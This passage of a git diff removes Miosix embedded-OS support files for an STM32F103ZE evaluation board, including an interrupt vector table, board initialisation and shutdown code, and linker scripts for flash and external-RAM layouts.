Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 8MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -/** - * ? - */ -extern "C" void SystemInit_ExtMemCtl_Dummy() -{ - //Do nothing -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_2_IRQHandler(); -void __attribute__((weak)) USB_HP_CAN1_TX_IRQHandler(); -void __attribute__((weak)) USB_LP_CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) USBWakeUp_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_IRQHandler(); -void __attribute__((weak)) TIM8_UP_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) ADC3_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Channel1_IRQHandler(); -void __attribute__((weak)) DMA2_Channel2_IRQHandler(); -void __attribute__((weak)) DMA2_Channel3_IRQHandler(); -void __attribute__((weak)) DMA2_Channel4_5_IRQHandler(); -void __attribute__((weak)) SystemInit_ExtMemCtl(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, /* Window Watchdog */ - PVD_IRQHandler, /* PVD through EXTI Line detect */ - TAMPER_IRQHandler, /* Tamper */ - RTC_IRQHandler, /* RTC */ - FLASH_IRQHandler, /* Flash */ - RCC_IRQHandler, /* RCC */ - EXTI0_IRQHandler, /* EXTI Line 0 */ - EXTI1_IRQHandler, /* EXTI Line 1 */ - EXTI2_IRQHandler, /* EXTI Line 2 */ - EXTI3_IRQHandler, /* EXTI Line 3 */ - EXTI4_IRQHandler, /* EXTI Line 4 */ - DMA1_Channel1_IRQHandler, /* DMA1 Channel 1 */ - DMA1_Channel2_IRQHandler, /* DMA1 Channel 2 */ - DMA1_Channel3_IRQHandler, /* DMA1 Channel 3 */ - DMA1_Channel4_IRQHandler, /* DMA1 Channel 4 */ - DMA1_Channel5_IRQHandler, /* DMA1 Channel 5 */ - DMA1_Channel6_IRQHandler, /* DMA1 Channel 6 */ - DMA1_Channel7_IRQHandler, /* DMA1 Channel 7 */ - ADC1_2_IRQHandler, /* ADC1 & ADC2 */ - USB_HP_CAN1_TX_IRQHandler, /* USB High Priority or CAN1 TX */ - USB_LP_CAN1_RX0_IRQHandler, /* USB Low Priority or CAN1 RX0 */ - CAN1_RX1_IRQHandler, /* CAN1 RX1 */ - CAN1_SCE_IRQHandler, /* CAN1 SCE */ - EXTI9_5_IRQHandler, /* EXTI Line 9..5 */ - TIM1_BRK_IRQHandler, /* TIM1 Break */ - TIM1_UP_IRQHandler, /* TIM1 Update */ - TIM1_TRG_COM_IRQHandler, /* TIM1 Trigger and Commutation */ - TIM1_CC_IRQHandler, /* TIM1 Capture Compare */ - TIM2_IRQHandler, /* TIM2 */ - TIM3_IRQHandler, /* TIM3 */ - TIM4_IRQHandler, /* TIM4 */ - I2C1_EV_IRQHandler, /* I2C1 Event */ - I2C1_ER_IRQHandler, /* I2C1 Error */ - I2C2_EV_IRQHandler, /* I2C2 Event */ - I2C2_ER_IRQHandler, /* I2C2 Error */ - SPI1_IRQHandler, /* SPI1 */ - SPI2_IRQHandler, /* SPI2 */ - USART1_IRQHandler, /* USART1 */ - USART2_IRQHandler, /* USART2 */ - USART3_IRQHandler, /* USART3 */ - EXTI15_10_IRQHandler, /* EXTI Line 15..10 */ - RTC_Alarm_IRQHandler, /* RTC Alarm through EXTI Line */ - USBWakeUp_IRQHandler, /* USB Wakeup from suspend */ - TIM8_BRK_IRQHandler, /* TIM8 Break */ - TIM8_UP_IRQHandler, /* TIM8 Update */ - TIM8_TRG_COM_IRQHandler, /* TIM8 Trigger and Commutation */ - TIM8_CC_IRQHandler, /* TIM8 Capture Compare */ - ADC3_IRQHandler, /* ADC3 */ - FSMC_IRQHandler, /* FSMC */ - SDIO_IRQHandler, /* SDIO */ - TIM5_IRQHandler, /* TIM5 */ - SPI3_IRQHandler, /* SPI3 */ - UART4_IRQHandler, /* UART4 */ - UART5_IRQHandler, /* UART5 */ - TIM6_IRQHandler, /* TIM6 */ - TIM7_IRQHandler, /* TIM7 */ - DMA2_Channel1_IRQHandler, /* DMA2 Channel 1 */ - DMA2_Channel2_IRQHandler, /* DMA2 Channel 2 */ - DMA2_Channel3_IRQHandler, /* DMA2 Channel 3 */ - DMA2_Channel4_5_IRQHandler, /* DMA2 Channel 4 and Channel 5 */ - 0,0,0,0,0,0,0,0, /* @0x130 */ - 0,0,0,0,0,0,0,0, /* @0x150 */ - 0,0,0,0,0,0,0,0, /* @0x170 */ - 0,0,0,0,0,0,0,0, /* @0x190 */ - 0,0,0,0,0,0,0,0, /* @0x1B0 */ - 0,0,0,0, /* @0x1D0 */ - reinterpret_cast(0xF1E0F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x High Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_2_IRQHandler = Default_Handler -#pragma weak USB_HP_CAN1_TX_IRQHandler = Default_Handler -#pragma weak USB_LP_CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak USBWakeUp_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_IRQHandler = Default_Handler -#pragma weak TIM8_UP_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak ADC3_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Channel1_IRQHandler = Default_Handler -#pragma weak DMA2_Channel2_IRQHandler = Default_Handler -#pragma weak DMA2_Channel3_IRQHandler = Default_Handler -#pragma weak DMA2_Channel4_5_IRQHandler = Default_Handler -#pragma weak SystemInit_ExtMemCtl = SystemInit_ExtMemCtl_Dummy diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/interfaces-impl/bsp.cpp deleted file mode 100644 index 01fa2463a..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,134 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f1.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_IOPEEN | RCC_APB2ENR_IOPFEN | - RCC_APB2ENR_AFIOEN; - RCC_SYNC(); - _led::mode(Mode::OUTPUT_2MHz);// No need to be fast - sdCardDetect::mode(Mode::INPUT_PULL_UP_DOWN); - sdCardDetect::pullup(); - //Now wait 100ms - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - __NOP(); - __NOP(); - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - //FIXME: wakeup via PA.0 is not working - - __WFI(); - for(;;) ; //Never reach here -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/interfaces-impl/bsp_impl.h deleted file mode 100644 index 4da84f99f..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,80 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -///\internal Pin connected to SD card detect -typedef Gpio sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -inline bool sdCardSense() -{ - return sdCardDetect::value()==0; -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_all_in_xram.ld b/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_all_in_xram.ld deleted file mode 100644 index 80e2d6ebc..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_all_in_xram.ld +++ /dev/null @@ -1,142 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 64K RAM) + 1MB xram - * Developed by TFT: Terraneo Federico Technologies - */ - -/* - * This linker script puts: - * - all (code, .data, .bss, stacks, heap) in the external ram. - * It is most useful for debugging, since powercycling the board will erase code - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * In this linker script the main stack is placed at the top of the ram since: - * - having 1MB of ram makes the "stack at bottom of ram" optimization useless - * - the interrupt vectors are forwarded at the bottom of the ram - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the stack */ -_main_stack_top = 0x68100000; /* placed at the top of ram */ -_heap_end = _main_stack_top - _main_stack_size; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - ram(wx) : ORIGIN = 0x68000000, LENGTH = 1M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > ram - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > ram - __exidx_end = .; - - /* .data section: global variables go to ram */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_rom.ld deleted file mode 100644 index caf18ebc1..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 64K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 64KB microcontrollers */ -_heap_end = 0x20010000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 64K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_xram.ld b/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_xram.ld deleted file mode 100644 index 2a2ea5077..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_xram.ld +++ /dev/null @@ -1,171 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 64K RAM) + 1MB xram - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stack for interrupt handling, sections .data and .bss in the internal ram - * - heap and stack of threads in the external ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into external RAM (1MB) */ -_end = 0x68000000; -_heap_end = 0x68100000; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 